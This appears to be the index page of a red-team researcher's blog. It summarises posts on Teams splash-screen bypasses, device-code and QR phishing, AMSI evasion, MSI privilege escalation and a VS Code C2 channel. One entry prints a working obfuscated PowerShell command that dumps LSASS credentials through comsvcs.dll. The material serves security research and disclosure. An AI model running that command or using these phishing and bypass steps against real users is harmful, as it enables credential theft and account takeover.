• 20 February 2024   PfiatDe   /blog/2024/02/20/buckets.html

    Public cloudstorage has a lot of crazy stuff in it. You can find a lot of different stuff, from privacy relevant stuff up to complete backups and keys for all services, including keys for AWS, Google Cloud and Azure.

    Some of keys or tokens would have allowed a complete organization takeover! As still a lot companies do not have a cost limit in cloud providers an attacker can cause a lot of damage.

    To identify most of the stuff, we are almost exclusevly using https://grayhatwarfare.com/

    Exposed sensitive data everywhere

  • 12 January 2024   PfiatDe   /blog/2024/01/12/teams5.html

    Teams external participant splash screen bypass #2

    Finally after several months and a “very smooth communication”, meaning 4 month of nothing from Microsoft, they patched the External Participant Bypass via Meeting invitations. As this was always a great vector for spearfishing during RedTeaming assesments, I clicked a little bit around in Teams and Mild shock this is not bulletproof.

    tl;dr

    The splash screen can be bypassed again in at least one simple way (and I still bet there are more). There is a caveat as this will not enable chatting with the user, only one-way communication.

    • Create a group chat
    • Invite the external “victim”
    • Write your message
    • Splash screen will be shown to the user
    • Remove the user from participants
    • Splash screen will also be removed
  • 8 January 2024   PfiatDe   /blog/2024/01/08/mobilephish.html

    Phishing mobile devices, with DeviceCode phishing and QR codes

    As protections for endpoints (Laptops, Virtual-Desktops, …) are getting better and sometimes really tough to bypass, it might be time to move along. One of the next weaker devices might be mobile ones, in that case smartphones. Imho the MDM is weaker nowadays then a fully featured EDR with webproxies and packet inspection.

    For a good user experience, we can combine “E-Mails, QR-Codes, DeviceCode phishing and Azure CDN fronting”.

    tl;dr

    • E-Mails without links, attachments and images will often make it to inbox
    • QRCodes do not need to be images, they can also be Unicode or html tables
    • Azure CDN Fronting spares the handling of a trusted domain, SSL certificate and all the nasty things around
    • DeviceCode phishing is still doing great in most environments
    • A GraphAPI token for Azure is quite powerful
    • Depending on the kind of phishing the loot might be even a fully featured PRT!
  • 21 December 2023   PfiatDe   /blog/2023/12/21/RedirectChain.html

    A redirect chain for initial access

    Some programs still do not apply Mark-of-the-Web (MotW), so we can build an, for the victim quite annoying chain involving custom protocol header, Windows search, WebDAV and Java or some other techniques for the final kick.
    This results in a Zero Warning, yet several clicks, chain for initial access.

    tl;dr

    • “microsoft-edge:” is a protocol provider to open URLs in Edge
    • “search-ms”: is a protocol provider to open Paths in explorer via the search function
    • WebDAV supports search-ms
    • Java does not honour MotW from WebDAV
    • Python does not honour MotW from WebDAV
    • Ruby does not honour MotW from WebDAV
    • Visual Studio does not honour MotW from WebDAV and will execute a .suo file on project open
  • 3 December 2023   PfiatDe   /blog/2023/12/03/PhishingInfra.html

    Speedrun for a O365 Phishing infrastructure

    Microsoft offers some Developer Tenants for O365. Those tenants can be used to set up a fishing infrastructure within minutes, emails will make it to almost all inboxes, specially in O365 environments.

    And you get a nice Teams phishing infra as bonus

  • 3 October 2023   PfiatDe   /blog/2023/10/03/MSIFortune.html

    MSIFortune - LPE with MSI Installers or MSI - Might (be) stupid idea

    MSI installers are still pretty alive today. It is a lesser known feature, that a low privileged user can start the repair function of an installation which will run with SYSTEM privileges. What could go wrong? Quite a lot!

  • 28 September 2023   PfiatDe   /blog/2023/09/28/ZipLink.html

    ZipLink - Combine Zips and Lnk for fun and profit

    If you look at typical exploit chains by various threat actors, lnk files still play a huge role. In this post I will share some possible chains I came up to.

  • 27 September 2023   PfiatDe   /blog/2023/09/27/teams4.html

    Teams external participant splash screen bypass

    Today I was preparing some demonstration on Teams phishing and was baffled, as Microsoft finaly after almost 2 years fixed an important vector.

    The group chat now also shows a big splash screen warning the user about the risk of an external participant writing.

    The new splash screen, with a good warning message

    tl;dr

    The splash screen can be bypassed in at least one simple way (and I bet there are more).

    • Create a full-day meeting
    • Invite the external “victim”
    • Write the participants
    • Done
  • 15 July 2023   PfiatDe   /blog/2023/07/15/divideconqer.html

    Poch, Poch, is this thing on? Bypass AMSI with Divide & Conquer

    Everytime I play with Windows Defender detection, it surprises me, how many ways exist to bypass something. And some of them are really simple. Just break the static detection rule.

    tl;dr

    By splitting well-known powershell scripts, e.g. an AMSI Bypass, we can directly bypass Windows Defender or get at least the line, where the detection occurs. Outcome: Several AMSI Bypasses and two scripts:

    • One to split powershell snippets in multiple lines
    • A second script to run all the files in an Oneliner, XOR obfuscated

    The second script is also quite usefull for several other occurences. Got a webshell, XP_CMDSHELL, RCE, but AV is blocking your powershell -c(ommand)? This might be for you.

    PoC of running multiple stages in one command, first two different AMSI Bypass, then mimikatz via IWR

  • 12 July 2023   PfiatDe   /blog/2023/07/12/entra_phish.html

    Phishing PoC for MS Entra ID Rebranding

    Microsofts rebranding of Azure AD to Entra ID allows attackers to craft a nice fullchain attack. There were a lot good phishing domains not claimed, seems like Microsoft did not care about this. Made a PoC for my employer https://cyvisory.group/.

    tl;dr

    This is a fullchain phishing attack, starting via a crosstenant MS Teams message, using a VNC container Phishing technic and resulting in a complete account compromise via a session highjack.

    Take me to the PoC

  • 30 June 2023   PfiatDe   /blog/2023/06/30/teams3.html

    Obscurities with MS Teams part 4

    Strange behaviours with MS Teams never run out, so here are a bunch of new ones.

    tl;dr

    MS Teams can also handle phone numbers and not only email adresses. This opens some unexpected phsihing vectors.

    • Mobile Phone numbers result in SMS from a “Microsoft” shortname
    • Conversations can be done completly via SMS

    And furthermore when sending a message, we can provide a lot of HTML tags, generating unnormal looking messages, which might trick users.
    Punycode in links is also interpreted, so we can also spoof some URLs with this.

  • 22 June 2023   PfiatDe   /blog/2023/06/22/teams2.html

    Obscurities with MS Teams part 2

    Some features of MS Teams are only validated in the frontend and not in the backend, allowing us to tamper with some messages and functions, by directly interacting with the endpoints. Everything combined might increase the plausibility for social engineering attacks.

    tl;dr

    MS Teams does not verify most of the messages. This allows to do the following.

    • Sent files cross-tenant (via SharePoint)
    • Manipulate messages by replacing the message text at a later point
    • Manipulate quotes
    • Spoof URLs
    • Spoof filenames and file extensions
    • Spoof URL previews
  • 21 June 2023   PfiatDe   /blog/2023/06/21/dumpit.html

    Obfuscated LSASS dumper command

    A quick walkthrough for a obfuscated PowerShell LSASS dump command via comsvcs.dll.

    tl;dr

    Malicious command detection for PowerShell is not easy. Pretty hard to tell, what the following command is going to do, huh?

    &$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
      $_.FullName }), `#-999999999999999999999999999999999999999999999999999999999999
      999999999999999999999999999999999999999999999999999999999999999999999999999999
      999999999999999999999999999999999999999999999999999999999999999999999999999999
      99999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;
    
    • Commands can contain $env variables
    • including wildcards for the path
    • functions of dlls can be called via the ordinal
    • ordinal can be in a negative form
    • Defender fails to delete dump via WebDAV
    • Defender fails to remove all dumps
  • 1 June 2023   PfiatDe   /blog/2023/06/01/zipjar.html

    ZipJar, a little bit unexpected attack chain

    The upcoming from the .zip TLDs from Google brought some discussion about attack vectors. Most of those attack vectors are not completely new, like using an “@” to split between username and host. While playing a little bit around, an unexpected attack chain appeared, involving a .zip TLD, Windows Explorer, WebDAV and a jar file.

    Some further reading and research:

  • 12 February 2023   PfiatDe   /blog/2023/02/12/S4B_Teams.html

    How your messenger used for internal communication (Teams or S4B) might compromise your company

    In this blog post, some techniques about the messengers Microsoft Skype-for-Business (S4B) and Microsoft Teams regarding attacking a company network are demonstrated.

    The following are just some well-known techniques, which work way too often and companies and employees are not aware off. The success rate for this kind of phishing / social engineering is very high.

    Most of the named points derive from the mdsec or the mr.d0x blog.

  • 6 February 2023   PfiatDe   /blog/2023/02/06/spoof_office_comments.html

    Spoofing comments in MS Office

    TL;DR;

    MS Office does not verify the integrity of the comment section. This allows an attacker to spoof comments or the author in the same tenant / AD or even crosstenant.

  • 31 January 2023   PfiatDe   /blog/2023/01/31/code_c2.html

    Let’s Go (VS) Code - Red Team style
    or the Microsoft signed and hosted Reverse Shell

    TL;DR;

    MS is offering a signed binary (code.exe), which will establish a Command&Control channel via an official Microsoft domain https://vscode.dev. The C2 communication itself is going to https://global.rel.tunnels.api.visualstudio.com over WebSockets. An attacker only needs an Github account.

  • 22 July 2022   PfiatDe   /blog/2022/07/22/thunderbird.html

    Tampering with Thunderbird attachments under Windows

    The Blogpost can be found here:

    https://blog.syss.com/posts/tampering-with-thunderbird-attachements/

  • 31 January 2022   PfiatDe   /blog/2022/01/31/office_handler.html

    Abusing the MS Office protocol scheme

    The Blogpost can be found here:

    https://blog.syss.com/posts/abusing-ms-office-protos/